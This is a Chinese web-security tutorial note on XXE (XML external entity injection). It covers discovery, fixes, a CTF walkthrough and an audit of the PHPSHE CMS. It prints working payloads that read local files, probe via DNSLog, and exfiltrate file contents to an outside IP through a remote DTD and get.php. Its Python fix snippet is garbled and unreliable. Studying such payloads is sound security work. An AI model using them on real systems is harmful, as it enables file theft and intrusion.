小迪安全41WEB 攻防-通用漏洞&XML&XXE&无回显&DTD 实体&伪协议&代码审计

#知识点:

1、XML&XXE-原理&发现&利用&修复等

2、XML&XXE-黑盒模式下的发现与利用

3、XML&XXE-白盒模式下的审计与利用

4、XML&XXE-无回显&伪协议&产生层面

#思路点:

参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

-XXE 黑盒发现:

1、获取得到 Content-Type 或数据类型为 xml 时,尝试进行 xml 语言 payload 进行测试

2、不管获取的 Content-Type 类型或数据传输类型,均可尝试修改后提交测试 xxe

3、XXE 不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成

文件中的 XXE Payload 被执行

-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#详细点:

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可

选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的

信息传输工具。

XXE 漏洞全称 XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异:

XML 被设计为传输和存储数据,其焦点是数据的内容。

HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息 ,而 XML 旨在传输信息。

XXE 修复防御方案:

-方案 1-禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf

=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferenc

es(false);

Python:

From lxml.import etreexmlData =

Etree.parse(xmlSource.etree.XMLParser(resolve_entitles=False))

方案2-过滤用户提交的XML数据:

过滤关键词:<!DOCTYPE>和<!ENTITY>,或者SYSTEM和PUBLIC


Ø XML&XXE-黑盒-原理&探针&利用&玩法等

Ø XML&XXE-前端-CTF&Jarvisoj&探针&利用

Ø XML&XXE-白盒-CMS&PHPSHE&无回显审计


#XML&XXE-黑盒-原理&探针&利用&玩法等

辨别xml和html的数据包:

Xml:php_xxe

Html:

对xml进行分析

通过数据包进行白盒分析 doLogin.php

分析loadXML函数

同时,也能判断出此网页会对解析后的代码进行回显,那此时如果我们对其加入恶意代码让其进行执行,那可以实现:

1、读取文件:

<?xml version="1.0"?>

<!DOCTYPE Mikasa [

<!ENTITY test SYSTEM "file:///d:/e.txt">

]>

<user><username>&test;</username><password>Mikasa</password></use

r>

读取到本地D盘e.txt的文件内容

1.1、带外测试:

指内部服务器能通过某漏洞,将数据外带到外部域名中 DNSLog Platform

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></use

r>

收到了内部的IP情况

因此,可以从到无回显的网页中,排去无回显的其他原因(代码写错、网络问题、没有漏洞等情况),当工具网页中,出现了来自内部的iP,则说明XXE漏洞存在,只是不回显数据

2.外部引用实体(有回显) dtd:

利用远程地址让远程地址中的文件evil2.dtd 执行恶意代码

解决了数据拦截防护过滤的问题

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<user><username>&send;</username><password>Mikasa</password></use

r>

evil2.dtd

<!ENTITY send SYSTEM "file:///d:/e.txt">

3.无回显读文件

将读取到的文件信息,保存到指定地址中,并让本地接收的文件写入get.php,对读取的文件信息进行收集保存到本地file.txt

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file SYSTEM "file:///d:/e.txt">

<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">

%remote;

%all;

]>

<root>&send;</root>

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM

'http://47.94.236.117/get.php?file=%file;'>">

Get.php

4、其他玩法(协议)-见参考地址

#XML&XXE-前端-CTF&Jarvisoj&探针&利用

http://web.jarvisoj.com:9882/

通过数据包分析,它是以json形式

但是我们通过查看源代码,得知关键的信息

可以得知它其实是做了二次处理的,将第一次的数据为xml,然后进行json处理

所以输入payload,并修改type值:将json改为xml

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///home/ctf/flag.txt">

]>

<x>&test;</x>

#XML&XXE-白盒-CMS&PHPSHE&无回显审计

-XXE 白盒发现: ------针对于xml的相关函数搜索,会增加查找XXE漏洞

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

simplexml_load_string

内容确定,得知此函数是在一个函数里面,所以我们要去看看谁调用了这个函数

pe_getxmlpe_getxml

同理,继续看谁调用函数wechat_getxml

找到了notify_url.php,对其进行网页安全测试

Payload:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "file:///d:/1.txt">

]>

<x>&test;</x>

发现没有回显出数据来

所以用外带来进行确认漏洞是否存在

出现ip回显,则说明确实存在XXE

所以直接判定为无回显的XXE漏洞:

分析代码:输出的地方没有设计到变量,所以没有数据是合理的

那就远程读取文件,将文件进行保存,再用get.php进行读取,存入file.txt文件,获取相关内容

相关推荐
IPFoxy66619 分钟前
跨境出海安全:如何防止PayPal账户被风控?
安全
龙信科技20 分钟前
【电子物证培训】龙信助力三明市公安局电子物证取证竞赛
安全
zhd15306915625ff33 分钟前
库卡机器人维护需要注意哪些事项
安全·机器人·自动化
网络安全-杰克44 分钟前
网络安全概论
网络·web安全·php
怀澈1221 小时前
高性能服务器模型之Reactor(单线程版本)
linux·服务器·网络·c++
耗同学一米八1 小时前
2024 年河北省职业院校技能大赛网络建设与运维赛项样题二
运维·网络·mariadb
安全二次方security²1 小时前
ARM CCA机密计算安全模型之概述
安全·安全模型·cca·机密计算·领域管理扩展·arm-v9·平台安全服务
skywalk81631 小时前
树莓派2 安装raspberry os 并修改成固定ip
linux·服务器·网络·debian·树莓派·raspberry
C++忠实粉丝2 小时前
计算机网络socket编程(3)_UDP网络编程实现简单聊天室
linux·网络·c++·网络协议·计算机网络·udp
黑客Ela2 小时前
网络安全中常用浏览器插件、拓展
网络·安全·web安全·网络安全·php